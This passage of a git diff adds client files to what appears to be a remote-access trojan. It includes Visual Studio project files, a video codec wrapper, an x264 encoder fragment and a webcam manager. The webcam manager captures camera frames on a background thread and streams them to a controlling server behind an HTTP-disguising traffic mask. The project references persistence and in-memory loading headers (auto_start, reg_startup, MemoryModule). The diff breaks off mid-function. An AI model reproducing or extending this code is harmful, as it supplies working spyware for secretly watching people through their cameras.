||||
<ItemGroup>
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
4
client/TestRun_vs2015.vcxproj.user
Normal file
4
client/TestRun_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
161
client/TinyRun.vcxproj
Normal file
161
client/TinyRun.vcxproj
Normal file
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{e3f3a477-05ba-431d-b002-28ef8bfa6e86}</ProjectGuid>
|
||||
<RootNamespace>TinyRunner</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
22
client/TinyRun.vcxproj.filters
Normal file
22
client/TinyRun.vcxproj.filters
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
client/TinyRun.vcxproj.user
Normal file
4
client/TinyRun.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
130
client/VideoCodec.h
Normal file
130
client/VideoCodec.h
Normal file
@@ -0,0 +1,130 @@
|
||||
#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||
#define AFX_VIDEOCODEC_H_INCLUDED
|
||||
|
||||
#include <VFW.H>
|
||||
|
||||
class CVideoCodec
|
||||
{
|
||||
COMPVARS m_cv;
|
||||
HIC m_hIC;
|
||||
BITMAPINFO* m_lpbmiInput;
|
||||
BITMAPINFO m_bmiOutput;
|
||||
|
||||
public:
|
||||
|
||||
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
|
||||
{
|
||||
if (lpbmi == NULL)
|
||||
return false;
|
||||
|
||||
m_lpbmiInput = lpbmi;
|
||||
|
||||
ZeroMemory(&m_cv, sizeof(m_cv));
|
||||
m_cv.cbSize = sizeof(m_cv);
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.fccType = ICTYPE_VIDEO;
|
||||
m_cv.fccHandler = fccHandler;
|
||||
m_cv.lpbiOut = NULL;
|
||||
m_cv.lKey = 10;
|
||||
m_cv.lDataRate = 6;
|
||||
m_cv.lQ = ICQUALITY_HIGH;
|
||||
|
||||
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
|
||||
|
||||
if (m_hIC == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
|
||||
// 向编码器发送验证
|
||||
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
|
||||
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
|
||||
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
|
||||
{
|
||||
if(!pin || !pout ||!m_hIC)
|
||||
return false;
|
||||
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
|
||||
return false;
|
||||
|
||||
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
|
||||
{
|
||||
BYTE *p;
|
||||
long s = 1;
|
||||
BOOL k = true;
|
||||
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
|
||||
return false;
|
||||
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
|
||||
|
||||
if (!p) return false;
|
||||
if (lenr) *lenr = s;
|
||||
if (pKey) *pKey = k;
|
||||
|
||||
CopyMemory(pout, p, s);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
CVideoCodec()
|
||||
{
|
||||
m_lpbmiInput = NULL;
|
||||
}
|
||||
|
||||
virtual ~CVideoCodec()
|
||||
{
|
||||
// No init yet or init error
|
||||
if (m_hIC == NULL)
|
||||
return;
|
||||
ICDecompressEnd(m_hIC);
|
||||
ICSeqCompressFrameEnd(&m_cv);
|
||||
ICCompressorFree(&m_cv);
|
||||
ICClose(m_hIC);
|
||||
}
|
||||
|
||||
int MyEnumCodecs(int *fccHandler, char *strName)
|
||||
{
|
||||
static int i = 0;
|
||||
int nRet = 1;
|
||||
HIC hIC;
|
||||
ICINFO icInfo;
|
||||
|
||||
if (fccHandler == NULL)
|
||||
return 0;
|
||||
|
||||
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
|
||||
i = 0;
|
||||
return 0;
|
||||
}
|
||||
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
|
||||
|
||||
if (hIC) {
|
||||
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
|
||||
*fccHandler = icInfo.fccHandler;
|
||||
//由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的
|
||||
if (strName != NULL)
|
||||
wcstombs(strName, icInfo.szDescription, 256);
|
||||
} else nRet = -1;
|
||||
|
||||
ICClose(hIC);
|
||||
i++;
|
||||
return nRet;
|
||||
}
|
||||
};
|
||||
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||
192
client/VideoManager.cpp
Normal file
192
client/VideoManager.cpp
Normal file
@@ -0,0 +1,192 @@
|
||||
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "VideoManager.h"
|
||||
#include "Common.h"
|
||||
#include <iostream>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
|
||||
m_bIsCompress = false;
|
||||
m_pVideoCodec = NULL;
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // 开启
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
This->m_bIsCompress=true; //如果初始化成功就设置可以压缩
|
||||
Mprintf("压缩视频进行传输.\n");
|
||||
}
|
||||
|
||||
This->SendBitMapInfor(); //发送bmp位图结构
|
||||
|
||||
// 等控制端对话框打开
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
// 限制速度
|
||||
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
Mprintf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount64();
|
||||
if(FALSE == This->SendNextScreen())
|
||||
break;
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
|
||||
This->Destroy();
|
||||
Mprintf("CVideoManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
CVideoManager::~CVideoManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
m_CapVideo.m_bExit = TRUE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
Mprintf("CVideoManager ~CVideoManager \n");
|
||||
if (m_pVideoCodec) { //压缩类
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
if (lpBuffer)
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
Mprintf("CVideoManager Destroy \n");
|
||||
if (m_pVideoCodec) { //压缩类
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
||||
}
|
||||
|
||||
BOOL CVideoManager::SendNextScreen()
|
||||
{
|
||||
DWORD dwBmpImageSize=0;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||
if(lpDIB == NULL)
|
||||
return FALSE;
|
||||
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
const int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress; //压缩
|
||||
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区
|
||||
|
||||
UINT nPacketLen = 0;
|
||||
if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩
|
||||
int nCompressLen = 0;
|
||||
//这里压缩视频数据了
|
||||
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
||||
&nCompressLen, NULL);
|
||||
if (!nCompressLen) {
|
||||
// some thing error
|
||||
return FALSE;
|
||||
}
|
||||
//重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理
|
||||
//到主控端的void CVideoDlg::OnReceiveComplete(void)
|
||||
nPacketLen = nCompressLen + nHeadLen;
|
||||
} else {
|
||||
//不压缩 永远不来
|
||||
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
||||
nPacketLen = dwBmpImageSize+ nHeadLen;
|
||||
}
|
||||
m_CapVideo.SendEnd(); //copy send
|
||||
|
||||
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩
|
||||
// 如果解码器初始化正常,就启动压缩功能
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
Mprintf("压缩视频进行传输.\n");
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
Mprintf("不压缩视频进行传输.\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CVideoManager::Initialize()
|
||||
{
|
||||
BOOL bRet = TRUE;
|
||||
|
||||
if (m_pVideoCodec!=NULL) {
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec=NULL;
|
||||
}
|
||||
if (m_fccHandler==0) { //不采用压缩
|
||||
bRet= FALSE;
|
||||
return bRet;
|
||||
}
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
|
||||
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
|
||||
delete m_pVideoCodec;
|
||||
bRet=FALSE;
|
||||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
41
client/VideoManager.h
Normal file
41
client/VideoManager.h
Normal file
@@ -0,0 +1,41 @@
|
||||
// VideoManager.h: interface for the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||
#define AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "CaptureVideo.h"
|
||||
#include "VideoCodec.h"
|
||||
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
|
||||
virtual ~CVideoManager();
|
||||
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
void SendBitMapInfor();
|
||||
BOOL SendNextScreen();
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
|
||||
CCaptureVideo m_CapVideo;
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
|
||||
DWORD m_fccHandler;
|
||||
bool m_bIsCompress;
|
||||
LPBYTE lpBuffer; // 抓图缓存区
|
||||
|
||||
CVideoCodec *m_pVideoCodec; //压缩类
|
||||
void Destroy();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||
155
client/X264Encoder.cpp
Normal file
155
client/X264Encoder.cpp
Normal file
@@ -0,0 +1,155 @@
|
||||
#include "X264Encoder.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#pragma comment(lib,"x264/libx264.lib")
|
||||
#endif
|
||||
|
||||
CX264Encoder::CX264Encoder()
|
||||
{
|
||||
memset(&m_Param, 0, sizeof(m_Param));
|
||||
m_pCodec = NULL;
|
||||
m_pPicIn = NULL;
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
|
||||
|
||||
CX264Encoder::~CX264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(int width, int height, int fps, int crf)
|
||||
{
|
||||
x264_param_t param = { 0 };
|
||||
x264_param_default_preset(¶m, "ultrafast", "zerolatency");
|
||||
|
||||
param.i_width = width & 0xfffffffe;
|
||||
param.i_height = height & 0xfffffffe;
|
||||
|
||||
//x264_LOG_NONE
|
||||
param.i_log_level = X264_LOG_NONE;
|
||||
param.i_threads = 1;
|
||||
param.i_frame_total = 0;
|
||||
param.i_keyint_max = fps * 15; // 15秒一个IDR,场景突变由scenecut自动插入
|
||||
param.i_bframe = 0; //不启用b帧
|
||||
param.b_open_gop = 0;
|
||||
param.i_fps_num = fps;
|
||||
param.i_csp = X264_CSP_I420;
|
||||
|
||||
// CRF: 静态画面自动降至极低码率,动态画面按质量需要分配
|
||||
// 不设 VBV —— 避免 IDR/复杂帧后的质量振荡
|
||||
param.rc.i_rc_method = X264_RC_CRF;
|
||||
param.rc.f_rf_constant = (float)crf;
|
||||
|
||||
//设置profile.
|
||||
if (x264_param_apply_profile(¶m, x264_profile_names[0])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return open(¶m);
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(x264_param_t * param)
|
||||
{
|
||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
|
||||
//input pic.
|
||||
x264_picture_init(m_pPicIn);
|
||||
|
||||
x264_picture_alloc(
|
||||
m_pPicIn,
|
||||
X264_CSP_I420,
|
||||
param->i_width,
|
||||
param->i_height);
|
||||
|
||||
//create codec instance.
|
||||
m_pCodec = x264_encoder_open(param);
|
||||
if (m_pCodec == NULL) {
|
||||
return false;
|
||||
}
|
||||
memcpy(&m_Param, param, sizeof(m_Param));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CX264Encoder::close()
|
||||
{
|
||||
if (m_pCodec) {
|
||||
x264_encoder_close(m_pCodec);
|
||||
m_pCodec = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicIn) {
|
||||
x264_picture_clean(m_pPicIn);
|
||||
free(m_pPicIn);
|
||||
m_pPicIn = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicOut) {
|
||||
free(m_pPicOut);
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int CX264Encoder::encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction)
|
||||
{
|
||||
int encode_size = 0;
|
||||
x264_nal_t *pNal = NULL;
|
||||
int iNal;
|
||||
|
||||
if ((width & 0xfffffffe) != m_Param.i_width ||
|
||||
(height & 0xfffffffe) != m_Param.i_height) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
